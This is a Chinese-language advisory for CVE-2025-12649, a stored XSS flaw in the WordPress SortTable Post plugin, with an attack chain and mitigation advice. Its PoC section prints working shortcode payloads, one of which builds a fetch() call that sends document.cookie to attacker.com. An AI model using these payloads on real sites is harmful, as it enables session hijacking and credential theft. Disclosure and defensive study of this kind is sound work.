IPBUF安全漏洞报告
English
CVE-2025-12649 CVSS 6.4 中危

CVE-2025-12649 WordPress SortTable Post插件存储型XSS漏洞

披露日期: 2025-11-27

漏洞信息

漏洞编号
CVE-2025-12649
漏洞类型
存储型XSS
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SortTable Post plugin for WordPress

相关标签

存储型XSSWordPress插件CVE-2025-12649短代码注入Cross-Site ScriptingSortTable Post

漏洞概述

CVE-2025-12649是WordPress SortTable Post插件中的一个存储型跨站脚本(XSS)漏洞。该插件用于在WordPress页面或文章中创建可排序的数据表格。漏洞源于sorttablepost短代码的'id'参数在处理用户输入时缺乏充分的输入清理和输出转义,导致恶意JavaScript代码可以被持久化存储在数据库中。由于该插件直接处理短代码属性,攻击者只需在包含短代码的内容中注入恶意脚本,当其他用户访问包含该短代码的页面时,注入的脚本将在其浏览器上下文中执行,可能导致会话劫持、敏感信息窃取或进一步的恶意操作。此漏洞需要攻击者拥有WordPress贡献者级别或更高的账户权限,但无需用户交互即可触发。

技术细节

该漏洞的根本原因在于SortTable Post插件在处理sorttablepost短代码时,对'id'参数的输入验证和输出编码存在缺陷。攻击者通过构造包含恶意JavaScript代码的'id'参数值(如id='test" onmouseover="alert(document.cookie)" x="'),该值会被直接存储到WordPress数据库中。当页面被访问时,插件在渲染短代码输出时未对存储的值进行适当的HTML实体转义,导致恶意脚本作为HTML的一部分被输出到页面中。由于是存储型XSS,恶意代码会持久存在于数据库中,所有访问该页面的用户都会受到影响。漏洞影响插件4.2及以下所有版本,攻击者利用此漏洞可窃取用户会话令牌、管理员凭证或执行任意客户端操作。修复方案需要在短代码处理逻辑中添加对所有用户输入的严格清理和输出时的HTML转义。

攻击链分析

STEP 1
1
攻击者获取WordPress站点 contributor级别或更高权限的账户
STEP 2
2
攻击者创建或编辑文章/页面,在内容中插入包含恶意payload的sorttablepost短代码
STEP 3
3
恶意payload通过id参数注入,由于缺少输入清理被直接存储到数据库
STEP 4
4
受害者访问包含该短代码的页面,插件从数据库读取并渲染内容
STEP 5
5
由于输出转义不足,恶意JavaScript代码作为HTML输出并执行
STEP 6
6
攻击者通过注入的脚本窃取用户cookie、会话令牌或其他敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- WordPress SortTable Post Plugin - CVE-2025-12649 Stored XSS PoC --> <!-- Requires Contributor-level or higher WordPress account --> <!-- Method 1: Via WordPress Shortcode --> [sorttablepost id='test" onmouseover="alert(document.cookie)" x='] <!-- Method 2: Via WordPress Editor (Text Mode) --> <!-- Add this shortcode to any post or page --> [sorttablepost id='x" onfocus="alert(document.domain)" autofocus="" x='] <!-- Method 3: Exploit Script for Automated Testing --> <script> // Simulate authenticated attack for CVE-2025-12649 const exploitPayload = 'test" onload="fetch("https://attacker.com/steal?c=' + document.cookie + '")" x="'; // In real attack scenario: // 1. Attacker with contributor+ access creates/edits a post // 2. Inserts malicious shortcode with payload in id parameter // 3. When any user views the page, XSS is triggered console.log('XSS Payload:', exploitPayload); </script> <!-- Triggered when user hovers over the table element -->

影响范围

SortTable Post plugin for WordPress <= 4.2

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:1) 临时禁用SortTable Post插件;2) 通过WordPress角色管理器限制只有管理员可以使用该插件的短代码功能;3) 实施严格的CSP策略限制内联脚本执行;4) 监控网站内容中是否存在异常的短代码使用模式。长期来看,应尽快升级到插件开发者发布的安全补丁版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表